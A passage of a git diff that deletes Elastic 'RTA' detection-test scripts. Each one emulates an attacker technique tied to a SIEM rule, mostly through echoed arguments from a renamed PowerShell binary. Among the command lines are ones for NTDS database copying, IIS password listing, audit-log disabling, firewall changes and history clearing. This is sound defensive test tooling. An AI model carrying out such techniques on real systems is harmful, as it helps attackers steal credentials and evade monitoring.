-@common.requires_os(*metadata.platforms) - -def main(): - if Path(BIN).is_file(): - print(f'[+] - File {BIN} will be executed') - common.execute(BIN) - # cleanup - common.execute(["taskkill", "/f", "/im", "notepad.exe"]) - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_adfind.py b/rta/exec_cmd_adfind.py deleted file mode 100644 index edf3a227e..000000000 --- a/rta/exec_cmd_adfind.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="6e84852e-b8a2-4158-971e-c5148d969d2a", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'eda499b8-a073-4e35-9733-22ec71f57f3a', 'rule_name': 'AdFind Command Activity'}], - techniques=['T1018', 'T1069', 'T1069.002', 'T1087', 'T1087.002', 'T1482'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - adfind = "C:\\Users\\Public\\adfind.exe" - common.copy_file(EXE_FILE, adfind) - - # Execute command - common.execute([adfind, "/c", "echo", "domainlist"], timeout=10) - common.remove_file(adfind) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_appcmd_logging.py b/rta/exec_cmd_appcmd_logging.py deleted file mode 100644 index c130416de..000000000 --- a/rta/exec_cmd_appcmd_logging.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="84a9bc41-8b2e-434e-b6ae-237e9202c745", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'ebf1adea-ccf2-4943-8b96-7ab11ca173a5', 'rule_name': 'IIS HTTP Logging Disabled'}], - techniques=['T1562', 'T1562.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - appcmd = "C:\\Users\\Public\\appcmd.exe" - common.copy_file(EXE_FILE, appcmd) - - # Execute command - common.execute([appcmd, "/c", "echo", "/dontLog:True"], timeout=10) - common.remove_file(appcmd) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_arp.py b/rta/exec_cmd_arp.py deleted file mode 100644 index 9c0cf5001..000000000 --- a/rta/exec_cmd_arp.py +++ /dev/null @@ -1,28 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2a391051-b103-450b-be50-fd133b6d05c3", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '0635c542-1b96-4335-9b47-126582d2c19a', 'rule_name': 'Remote System Discovery Commands'}], - techniques=['T1016', 'T1018'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - arp = "C:\\Windows\\System32\\arp.exe" - - # Execute command - common.execute([arp, "-a"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_aspnet_regiis.py b/rta/exec_cmd_aspnet_regiis.py deleted file mode 100644 index e527dd218..000000000 --- a/rta/exec_cmd_aspnet_regiis.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="5faf9f55-c52e-41e0-8195-b183aba8b876", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'c25e9c87-95e1-4368-bfab-9fd34cf867ec', - 'rule_name': 'Microsoft IIS Connection Strings Decryption' - }], - techniques=['T1003'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - aspnet_regiis = "C:\\Users\\Public\\aspnet_regiis.exe" - common.copy_file(EXE_FILE, aspnet_regiis) - - # Execute command - common.execute([aspnet_regiis, "/c", "echo", "connectionStrings", "-pdf"], timeout=10) - common.remove_file(aspnet_regiis) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_attrib_hidden.py b/rta/exec_cmd_attrib_hidden.py deleted file mode 100644 index 56461d09d..000000000 --- a/rta/exec_cmd_attrib_hidden.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1d452f81-8f5a-44a3-ae95-e95fe4bf2762", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '4630d948-40d4-4cef-ac69-4002e29bc3db', 'rule_name': 'Adding Hidden File Attribute via Attrib'}], - techniques=['T1564', 'T1564.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - attrib = "C:\\Users\\Public\\attrib.exe" - common.copy_file(EXE_FILE, attrib) - - # Execute command - common.execute([attrib, "/c", "echo", "+h"], timeout=10) - common.remove_file(attrib) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_auditpol.py b/rta/exec_cmd_auditpol.py deleted file mode 100644 index c7ec086df..000000000 --- a/rta/exec_cmd_auditpol.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="92da05da-5acf-473c-809c-6f4cdbced0db", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '4de76544-f0e5-486a-8f84-eae0b6063cdc', - 'rule_name': 'Disable Windows Event and Security Logs Using Built-in Tools' - }], - techniques=['T1070', 'T1070.001', 'T1562', 'T1562.006'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - auditpol = "C:\\Users\\Public\\auditpol.exe" - common.copy_file(EXE_FILE, auditpol) - - # Execute command - common.execute([auditpol, "/c", "echo", "/success:disable"], timeout=10) - common.remove_file(auditpol) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_clear_history.py b/rta/exec_cmd_clear_history.py deleted file mode 100644 index 3db358367..000000000 --- a/rta/exec_cmd_clear_history.py +++ /dev/null @@ -1,28 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="57d4d7f4-03a6-43d3-a5af-9ac706b2eedf", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'b5877334-677f-4fb9-86d5-a9721274223b', 'rule_name': 'Clearing Windows Console History'}], - techniques=['T1070', 'T1070.003'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.execute([powershell, "/c", "Clear-History"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_compiled_html.py b/rta/exec_cmd_compiled_html.py deleted file mode 100644 index 2964589b4..000000000 --- a/rta/exec_cmd_compiled_html.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2e2b5db2-2edb-421e-bb5e-6d2ab09303e0", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'e3343ab9-4245-4715-b344-e11c56b0a47f', 'rule_name': 'Process Activity via Compiled HTML File'}], - techniques=['T1204', 'T1204.002', 'T1218', 'T1218.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - hh = "C:\\Users\\Public\\hh.exe" - mshta = "C:\\Windows\\System32\\mshta.exe" - common.copy_file(EXE_FILE, hh) - - # Execute command - common.execute([hh, "/c", mshta], timeout=2, kill=True) - common.remove_file(hh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_endpoint_security_masquerading.py b/rta/exec_cmd_endpoint_security_masquerading.py deleted file mode 100644 index 586006bf2..000000000 --- a/rta/exec_cmd_endpoint_security_masquerading.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="be77efd7-8f6a-4033-92b9-f47addb60866", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'b41a13c6-ba45-4bab-a534-df53d0cfed6a', - 'rule_name': 'Suspicious Endpoint Security Parent Process' - }], - techniques=['T1036'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - esensor = "C:\\Users\\Public\\esensor.exe" - common.copy_file(EXE_FILE, esensor) - - # Execute command - common.execute([esensor], timeout=2, kill=True) - common.remove_files(esensor) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_fltmc_unload.py b/rta/exec_cmd_fltmc_unload.py deleted file mode 100644 index 68bdae44e..000000000 --- a/rta/exec_cmd_fltmc_unload.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="fc1e40b8-ae2d-4479-a854-77b346982894", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '06dceabf-adca-48af-ac79-ffdf4c3b1e9a', 'rule_name': 'Potential Evasion via Filter Manager'}], - techniques=['T1562', 'T1562.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - fltmc = "C:\\Users\\Public\\fltmc.exe" - common.copy_file(EXE_FILE, fltmc) - - # Execute command - common.execute([fltmc, "/c", "echo", "unload"], timeout=10) - common.remove_file(fltmc) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_fsutil_fsinfo.py b/rta/exec_cmd_fsutil_fsinfo.py deleted file mode 100644 index d63934494..000000000 --- a/rta/exec_cmd_fsutil_fsinfo.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="904cae88-f6bf-4585-b779-2451ce4b6b1b", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '0c7ca5c2-728d-4ad9-b1c5-bbba83ecb1f4', - 'rule_name': 'Peripheral Device Discovery' - }], - techniques=['T1120'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - fsutil = "C:\\Windows\\System32\\fsutil.exe" - - # Execute command - common.execute([fsutil, "fsinfo", "drives"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_hidden_share.py b/rta/exec_cmd_hidden_share.py deleted file mode 100644 index f3ac01b33..000000000 --- a/rta/exec_cmd_hidden_share.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="19b6d1cd-6342-42f0-9f1d-20185f5b3d95", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'fa01341d-6662-426b-9d0c-6d81e33c8a9d', 'rule_name': 'Remote File Copy to a Hidden Share'}], - techniques=['T1021', 'T1021.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - xcopy = "C:\\Users\\Public\\xcopy.exe" - common.copy_file(EXE_FILE, xcopy) - - # Execute command - common.execute([xcopy, "/c", "echo", "mv", "A$"], timeout=10) - common.remove_file(xcopy) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_mklink.py b/rta/exec_cmd_mklink.py deleted file mode 100644 index 849db50b6..000000000 --- a/rta/exec_cmd_mklink.py +++ /dev/null @@ -1,28 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="fafdfbda-add8-40a1-b2b5-640fce12413e", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'd117cbb4-7d56-41b4-b999-bdf8c25648a0', 'rule_name': 'Symbolic Link to Shadow Copy Created'}], - techniques=['T1003'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.execute([powershell, "/c", "echo", "mklink", "HarddiskVolumeShadowCopy"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_mpcmdrun_download.py b/rta/exec_cmd_mpcmdrun_download.py deleted file mode 100644 index 377278e7d..000000000 --- a/rta/exec_cmd_mpcmdrun_download.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="219dee0a-48ad-4e17-ab59-783a619a7bd5", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'c6453e73-90eb-4fe7-a98c-cde7bbfc504a', 'rule_name': 'Remote File Download via MpCmdRun'}], - techniques=['T1105'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - mpcmdrun = "C:\\Users\\Public\\MpCmdRun.exe" - common.copy_file(EXE_FILE, mpcmdrun) - - # Execute command - common.execute([mpcmdrun, "/c", "echo", "-DownloadFIle", "-Url", "-path"], timeout=10) - common.remove_file(mpcmdrun) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_msdt.py b/rta/exec_cmd_msdt.py deleted file mode 100644 index c75f68bec..000000000 --- a/rta/exec_cmd_msdt.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="83332fb4-2299-4584-b5f3-7e0264d034f7", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '2c3c29a4-f170-42f8-a3d8-2ceebc18eb6a', - 'rule_name': 'Suspicious Microsoft Diagnostics Wizard Execution' - }], - techniques=['T1218'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - msdt = "C:\\Users\\Public\\rta.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, msdt) - - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, msdt, "--set-version-string", "OriginalFilename", "msdt.exe"]) - - common.execute([msdt], timeout=2, kill=True) - - common.remove_files(rcedit, msdt) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_mssql_xp_cmdshell.py b/rta/exec_cmd_mssql_xp_cmdshell.py deleted file mode 100644 index a6fb54414..000000000 --- a/rta/exec_cmd_mssql_xp_cmdshell.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f0340de4-e433-49a3-ba8c-de0ded32840d", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '4ed493fc-d637-4a36-80ff-ac84937e5461', - 'rule_name': 'Execution via MSSQL xp_cmdshell Stored Procedure' - }], - techniques=['T1059'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - sqlservr = "C:\\Users\\Public\\sqlservr.exe" - cmd = "C:\\Windows\\System32\\cmd.exe" - common.copy_file(EXE_FILE, sqlservr) - - # Execute command - common.execute([sqlservr, "/c", cmd], timeout=2, kill=True) - common.remove_file(sqlservr) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_net_stop.py b/rta/exec_cmd_net_stop.py deleted file mode 100644 index a2dd815c7..000000000 --- a/rta/exec_cmd_net_stop.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="0427904d-1fba-40f4-a423-ea555d1a2335", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '035889c4-2686-4583-a7df-67f89c292f2c', - 'rule_name': 'High Number of Process and/or Service Terminations' - }], - techniques=['T1489'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - net = "C:\\Users\\Public\\net.exe" - common.copy_file(EXE_FILE, net) - - # Execute command - for i in range(0, 10): - common.execute([net, "/c", "echo", "stop"], timeout=10) - common.remove_file(net) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_net_use.py b/rta/exec_cmd_net_use.py deleted file mode 100644 index de5412d08..000000000 --- a/rta/exec_cmd_net_use.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="46f6ae71-2fd8-46bd-8209-9fc0f59432ef", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'c4210e1c-64f2-4f48-b67e-b5a8ffe3aa14', 'rule_name': 'Mounting Hidden or WebDav Remote Shares'}], - techniques=['T1021', 'T1021.002', 'T1078', 'T1078.003'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - net = "C:\\Users\\Public\\net.exe" - common.copy_file(EXE_FILE, net) - - # Execute command - common.execute([net, "/c", "echo", "use", "http"], timeout=10) - common.remove_file(net) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_netsh_advfirewall_network_discovery.py b/rta/exec_cmd_netsh_advfirewall_network_discovery.py deleted file mode 100644 index 1e9c310ae..000000000 --- a/rta/exec_cmd_netsh_advfirewall_network_discovery.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="5b52f7e5-e2bc-4a2d-82bd-2e844c081519", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '8b4f0816-6a65-4630-86a6-c21c179c0d09', 'rule_name': 'Enable Host Network Discovery via Netsh'}], - techniques=['T1562', 'T1562.004'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - netsh = "C:\\Users\\Public\\netsh.exe" - common.copy_file(EXE_FILE, netsh) - - # Execute command - common.execute([netsh, "/c", "echo", "advfirewall", "group=Network Discovery", "enable=Yes"], timeout=2) - common.remove_file(netsh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_netsh_remotedesktop.py b/rta/exec_cmd_netsh_remotedesktop.py deleted file mode 100644 index f71c86884..000000000 --- a/rta/exec_cmd_netsh_remotedesktop.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="0b3a3f97-f09e-4a42-b592-6be2b5467c08", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '074464f9-f30d-4029-8c03-0ed237fffec7', - 'rule_name': 'Remote Desktop Enabled in Windows Firewall by Netsh' - }], - techniques=['T1562', 'T1562.004'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - netsh = "C:\\Users\\Public\\netsh.exe" - common.copy_file(EXE_FILE, netsh) - - # Execute command - common.execute([netsh, "/c", "echo", "RemoteDesktop", "enable"], timeout=2) - common.remove_file(netsh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_nltest.py b/rta/exec_cmd_nltest.py deleted file mode 100644 index 73b7b679e..000000000 --- a/rta/exec_cmd_nltest.py +++ /dev/null @@ -1,28 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c5b8e9c5-59c6-4316-8e73-cd4f5a9a2761", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '84da2554-e12a-11ec-b896-f661ea17fbcd', 'rule_name': 'Enumerating Domain Trusts via NLTEST.EXE'}], - techniques=['T1482'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.execute([powershell, "/c", "nltest.exe /DCLIST:$env:USERDNSDOMAIN"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_non_executable_file.py b/rta/exec_cmd_non_executable_file.py deleted file mode 100644 index cc5ea269c..000000000 --- a/rta/exec_cmd_non_executable_file.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="0630610d-a9ae-47df-9e2f-e7f393972f1e", - platforms=["macos"], - endpoint=[ - {"rule_name": "Execution of Non-Executable File via Shell", "rule_id": "c0770406-7ede-4049-a7a1-999c15fb60bd"} - ], - siem=[], - techniques=["T1036", "T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing bash on unexecutable file.") - with common.temporary_file("testing", "/*.txt"): - common.execute(["/bin/bash", "/*.txt"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_ntdsdit.py b/rta/exec_cmd_ntdsdit.py deleted file mode 100644 index 989ef6740..000000000 --- a/rta/exec_cmd_ntdsdit.py +++ /dev/null @@ -1,28 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="0a9bd666-6dc8-484e-9286-dea82a5661a9", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '3bc6deaa-fbd4-433a-ae21-3e892f95624f', 'rule_name': 'NTDS or SAM Database File Copied'}], - techniques=['T1003', 'T1003.002'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.execute([powershell, "/c", "echo", "copy", "\\ntds.dit"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_posh_mailbox.py b/rta/exec_cmd_posh_mailbox.py deleted file mode 100644 index 65d96fbbf..000000000 --- a/rta/exec_cmd_posh_mailbox.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b6b65c6a-830a-4e1c-ace7-3c98362f998b", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '6aace640-e631-4870-ba8e-5fdda09325db', - 'rule_name': 'Exporting Exchange Mailbox via PowerShell' - }], - techniques=['T1005', 'T1114', 'T1114.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.execute([powershell, "/c", "echo", "New-MailboxExportRequest"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_psexesvc.py b/rta/exec_cmd_psexesvc.py deleted file mode 100644 index 839047caa..000000000 --- a/rta/exec_cmd_psexesvc.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7c4e0d1e-e80a-465a-9612-a319800390f4", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'e2f9fdf5-8076-45ad-9427-41e0e03dc9c2', - 'rule_name': 'Suspicious Process Execution via Renamed PsExec Executable' - }], - techniques=['T1569', 'T1569.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - psexesvc = "C:\\Users\\Public\\rta.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, psexesvc) - - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, psexesvc, "--set-version-string", "OriginalFilename", "psexesvc.exe"]) - - common.execute([psexesvc], timeout=2, kill=True) - - common.remove_files(rcedit, psexesvc) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_pwd_appcmd.py b/rta/exec_cmd_pwd_appcmd.py deleted file mode 100644 index 0e5a62874..000000000 --- a/rta/exec_cmd_pwd_appcmd.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a296162b-65c1-4fbe-ae34-67f606de408e", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '0564fb9d-90b9-4234-a411-82a546dc1343', - 'rule_name': 'Microsoft IIS Service Account Password Dumped' - }], - techniques=['T1003'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - appcmd = "C:\\Users\\Public\\appcmd.exe" - common.copy_file(EXE_FILE, appcmd) - - # Execute command - common.execute([appcmd, "/c", "echo", "/list", "/text&password"], timeout=10) - common.remove_file(appcmd) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_cmd_rundll32.py b/rta/exec_cmd_rundll32.py deleted file mode 100644 index da7734727..000000000 --- a/rta/exec_cmd_rundll32.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="81adc847-2965-4a4b-8d3c-91e541c85ab4", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '9ccf3ce0-0057-440a-91f5-870c6ad39093', - 'rule_name': 'Command Shell Activity Started via RunDLL32' - }], - techniques=['T1059', 'T1059.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - rundll32 = "C:\\Users\\Public\\rundll32.exe" - cmd = "C:\\Windows\\System32\\cmd.exe" - 